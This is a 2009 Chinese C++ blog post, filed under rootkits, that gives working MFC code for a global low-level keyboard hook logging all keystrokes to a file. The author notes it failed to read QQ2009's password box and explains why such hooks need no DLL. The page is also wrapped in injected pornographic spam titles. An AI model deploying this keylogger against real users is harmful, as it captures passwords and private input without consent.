青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

About ShutDown of Windows(三)

Posted on 2009-11-17 09:12 S.l.e!ep.¢% 閱讀(193) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
接著 About ShutDown of Windows(二) ?繼續,將代碼繼續改進

HHOOK?g_Hook;

LRESULT?CALLBACK?MyKeyHook(
int?code,?WPARAM?wParam,?LPARAM?lParam)
{
#if?(_WIN32_WINNT?<?0x0400)
/*
?*?Structure?used?by?WH_KEYBOARD_LL
?
*/
typedef?
struct?tagKBDLLHOOKSTRUCT?{
????DWORD???vkCode;
????DWORD???scanCode;
????DWORD???flags;
????DWORD???time;
????DWORD???dwExtraInfo;
}?KBDLLHOOKSTRUCT,?FAR?
*LPKBDLLHOOKSTRUCT,?*PKBDLLHOOKSTRUCT;
#endif

????PKBDLLHOOKSTRUCT?kbDLLHOOK?
=?(PKBDLLHOOKSTRUCT)lParam;
????
????
const?char?*info?=?NULL;
????
????
if?(wParam?==?WM_KEYDOWN)
????????info?
=?"key?down";????
????
else?if?(wParam?==?WM_KEYUP)
????????info?
=?"key?up";
????
else?if?(wParam?==?WM_SYSKEYDOWN)
????????info?
=?"sys?key?down";????
????
else?if?(wParam?==?WM_SYSKEYUP)
????????info?
=?"sys?key?up";

????FILE
*?f?=?fopen("hook.txt",?"a+");

????CString?strLog;
????strLog.Format(
"%s?-?vkCode?[%04x],?[%c]?scanCode?[%04x]\n",?info,?kbDLLHOOK->vkCode,?kbDLLHOOK->vkCode,?kbDLLHOOK->scanCode);

????fwrite(strLog,?
1,?strLog.GetLength(),?f);
????fclose(f);

????
//?always?call?next?hook
????return?CallNextHookEx(g_Hook,?code,?wParam,?lParam);
}??????

BOOL?CHookTestDlg::OnInitDialog()
{
????CDialog::OnInitDialog();

????
//?Add?"About"?menu?item?to?system?menu.

????
//?IDM_ABOUTBOX?must?be?in?the?system?command?range.
????ASSERT((IDM_ABOUTBOX?&?0xFFF0)?==?IDM_ABOUTBOX);
????ASSERT(IDM_ABOUTBOX?
<?0xF000);

????CMenu
*?pSysMenu?=?GetSystemMenu(FALSE);
????
if?(pSysMenu?!=?NULL)
????{
????????CString?strAboutMenu;
????????strAboutMenu.LoadString(IDS_ABOUTBOX);
????????
if?(!strAboutMenu.IsEmpty())
????????{
????????????pSysMenu
->AppendMenu(MF_SEPARATOR);
????????????pSysMenu
->AppendMenu(MF_STRING,?IDM_ABOUTBOX,?strAboutMenu);
????????}
????}

????
//?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
????
//??when?the?application's?main?window?is?not?a?dialog
????SetIcon(m_hIcon,?TRUE);????????????//?Set?big?icon
????SetIcon(m_hIcon,?FALSE);????????//?Set?small?icon
????
????
//?TODO:?Add?extra?initialization?here
#ifndef?WH_KEYBOARD_LL
????
#define?WH_KEYBOARD_LL?13
#endif
????
????g_Hook?
=?SetWindowsHookEx(WH_KEYBOARD_LL,?MyKeyHook,?AfxGetApp()->m_hInstance,?0);
????
????
if(?g_Hook?==?NULL?)
????????AfxMessageBox(
"Failed?to?Set?Hook");
????
????
return?TRUE;??//?return?TRUE??unless?you?set?the?focus?to?a?control
}

已經實現了HOOK鍵盤消息(題外話:對于普通的程序確實可行,但對于QQ2009的PwdEdit顯示出來的東西是不對的,明顯QQ2009的PwdEdit對消息加密過)

用 SysCheck 工具查看,這個EXE也并沒有注入到其它進程

MSDN的解釋
WH_KEYBOARD_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

???????? 一般情況下,全局消息鉤子要依賴于一個DLL才能夠正常工作。

但實際上不是這樣的。有某些全局鉤子可以不依賴于任何DLL而正常工作的。這些鉤子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。為什么這些鉤子可以不依賴于DLL而正常工作呢?我們可以從MSDN中得到答案,MSDN中對于這四種鉤子都這樣的描述“This hook is called in the context of the thread that installed it.”,翻譯成中文意思是鉤子函數的調用是在安裝鉤子的線程上下文中進行的,說得更明白些,意思就是這些鉤子是在哪個線程當中安裝的,其鉤子函數就在哪個線程中執行。所以使用這四種鉤子是達不到代碼注入的效果的,當然也就可以不依賴于任何DLL了。MSDN中只對個別鉤子指出了必須還是沒有必要使用DLL。



青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            国产精品久久久| 欧美一级在线播放| 久久国产精品99国产精| 一本色道88久久加勒比精品| 欧美一区二区黄| 在线视频欧美日韩| 六月天综合网| 欧美成人午夜激情| 韩国一区电影| 久久精品毛片| 久久久久久夜| 好看的av在线不卡观看| 亚洲欧美大片| 欧美在线视屏| 国产亚洲综合在线| 亚洲欧美99| 亚洲欧美一区在线| 国产精品久久久对白| 在线一区亚洲| 欧美在线观看日本一区| 国产精品户外野外| 在线视频你懂得一区| 亚洲视频在线观看一区| 欧美日韩在线播放一区二区| 夜夜爽99久久国产综合精品女不卡| 亚洲欧洲视频| 欧美精品首页| 夜夜夜久久久| 亚洲欧美制服另类日韩| 国产毛片久久| 久久精品亚洲乱码伦伦中文| 欧美aa国产视频| 亚洲精品色婷婷福利天堂| 欧美极品在线观看| 在线亚洲一区二区| 久久精品99无色码中文字幕| 国语精品中文字幕| 免费欧美在线| 一区二区高清视频在线观看| 欧美一级久久久| 伊人狠狠色丁香综合尤物| 美女免费视频一区| 亚洲麻豆av| 欧美一级一区| 亚洲黄色免费网站| 国产精品xxx在线观看www| 欧美一区二区三区四区在线观看地址 | 亚洲一级在线观看| 国产一级久久| 欧美激情精品久久久久久蜜臀| 一区二区三区免费网站| 狂野欧美一区| 99国产精品久久久久老师| 国产精品少妇自拍| 久久一本综合频道| 在线亚洲观看| 欧美va天堂| 亚洲欧美日韩在线综合| 在线日韩欧美| 国产精品免费在线| 久久综合狠狠| 亚洲欧美另类久久久精品2019| 免费毛片一区二区三区久久久| 在线视频精品一| 伊人春色精品| 国产精品一区二区久久久| 欧美mv日韩mv国产网站app| 亚洲免费中文| 99视频超级精品| 欧美成人亚洲成人日韩成人| 校园春色综合网| 亚洲麻豆国产自偷在线| 黄色一区二区三区四区| 国产精品久久久久久久免费软件 | 欧美一区激情| 日韩午夜中文字幕| 悠悠资源网亚洲青| 国产精品午夜电影| 欧美日韩另类在线| 快播亚洲色图| 欧美自拍偷拍午夜视频| 亚洲影视九九影院在线观看| 最新成人av网站| 嫩草国产精品入口| 久久久久久亚洲综合影院红桃 | 亚洲午夜精品久久久久久浪潮 | 一区二区三区欧美视频| 亚洲欧洲日夜超级视频| 原创国产精品91| 国产一区二区三区不卡在线观看| 国产精品高潮呻吟久久av无限| 欧美成人国产| 美腿丝袜亚洲色图| 久久香蕉国产线看观看av| 欧美伊久线香蕉线新在线| 亚洲一区免费视频| 一区二区三区视频在线播放| 亚洲久久在线| 亚洲乱码国产乱码精品精可以看| 欧美国产日韩精品免费观看| 麻豆精品视频在线| 麻豆91精品91久久久的内涵| 久久久久久久久久久成人| 久久激情中文| 久久精品人人| 蜜乳av另类精品一区二区| 久久婷婷亚洲| 欧美高清日韩| 亚洲激情第一区| 亚洲乱码国产乱码精品精| 99精品欧美一区二区三区| 日韩视频在线你懂得| 9久草视频在线视频精品| 制服丝袜亚洲播放| 亚洲欧美视频在线| 久久成人免费| 裸体女人亚洲精品一区| 欧美激情91| 国产精品久久久久久模特 | 激情婷婷欧美| 亚洲东热激情| 一本色道久久综合精品竹菊| 一区二区冒白浆视频| 亚洲欧美成人一区二区三区| 欧美一区二区免费| 久久伊人一区二区| 91久久精品国产91久久性色tv| 日韩网站在线观看| 亚洲欧美在线播放| 久久天天躁狠狠躁夜夜av| 欧美久久电影| 国产精品亚洲第一区在线暖暖韩国| 国产综合亚洲精品一区二| 亚洲国产经典视频| 亚洲一区二区精品| 久久久久网址| 亚洲精品国偷自产在线99热| 亚洲婷婷综合久久一本伊一区| 久久www免费人成看片高清| 欧美1区视频| 国产精品天天看| 亚洲电影专区| 亚洲综合不卡| 欧美成人一区二区三区| 中文国产一区| 欧美jizz19hd性欧美| 国产精品久久一卡二卡| 亚洲电影免费在线| 亚洲欧美国产不卡| 亚洲第一色在线| 亚洲一区二区在线观看视频| 美女精品在线观看| 国产日韩欧美黄色| 99精品国产高清一区二区| 久久久久久久综合| 夜夜嗨网站十八久久 | 久久嫩草精品久久久久| 欧美午夜精品伦理| 亚洲人成在线播放| 久久色在线播放| 亚洲香蕉在线观看| 欧美激情成人在线| 在线观看欧美日韩国产| 午夜视频在线观看一区二区| 亚洲精品久久久久久久久久久| 久久精品人人做人人综合| 国产精品视频第一区| 夜夜精品视频| 亚洲国产91色在线| 老司机一区二区三区| 国内外成人免费激情在线视频网站 | 欧美一区激情视频在线观看| 亚洲精品一区二区三区在线观看 | 欧美综合第一页| 国产欧美日韩精品丝袜高跟鞋| 一区二区精品在线| 亚洲人成人一区二区三区| 久久久综合网站| 一区精品久久| 久久亚洲国产精品一区二区 | 国产欧美日韩三区| 午夜精品久久久久久久99樱桃| 亚洲另类春色国产| 欧美激情国产日韩精品一区18| 亚洲国产精品精华液网站| 免费欧美日韩| 久久这里有精品15一区二区三区| 国产综合欧美| 久久综合九色综合欧美狠狠| 久久精品一区蜜桃臀影院| 国产视频自拍一区| 久久久一区二区三区| 午夜精品理论片| 国产亚洲一区二区三区在线播放| 欧美一区91| 欧美在线观看日本一区| 在线成人性视频| 亚洲第一成人在线| 欧美日韩亚洲激情| 午夜精品久久久久|